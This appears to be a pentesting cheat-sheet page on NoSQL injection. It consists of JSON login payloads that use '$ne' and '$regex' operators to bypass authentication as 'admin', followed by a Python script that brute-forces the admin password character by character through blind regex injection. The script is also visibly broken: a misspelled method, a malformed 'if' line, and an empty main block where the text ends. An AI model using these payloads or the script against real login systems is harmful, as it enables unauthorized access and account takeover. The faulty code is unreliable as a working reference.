NoSQLi
#OWASP #NoSQLi
Last updated
#OWASP #NoSQLi
Last updated
{
"username":"admin",
"password":"admin"
}{
"username":"admin",
"password":{
"$ne":"admin"
}
}{
"username":{
"$ne":"nombre"
},
"password":{
"$ne":"admin"
}
}{
"username":{
"$regex":"^a"
},
"password":{
"$ne":"admin"
}
}{
"username": "admin",
"password":{
"$regex":".{15}"
}
}#!/usr/bin/python3
from pwn import *
import requests, time, sys, signal, string
def def_handler(sig, frame):
print("\n BREAK! \n")
sys.exit(1)
# CTRL + C
signal.signal(signal.SIGINT, def_handler)
# Variables globales
login_url = "http://{Target}/user/login"
characters = string.ascii_lowercase + string.ascii_uppercase + string.digits
def makeNoSQLI():
password = ""
p1 = log.progress("Fuerza Bruta")
p1.status("Iniciando proceso de fuerza bruta")
time.sleep(2)
p2 = log.progresss("Password")
for position in range(0, 24):
for character in characters:
post_data = '{"username":"admin","password":{"$regex":"^%s%s"}}' % (password,character)
p1.status(post_data)
headers = {'Content-Type': 'application/json'}
r = requests.post(login_url, headers=headers, data=post_data)
if "Logged in as user" in r.text"
password += character
p2.status(password)
break
print(post_data)
if __name__ == '__main__':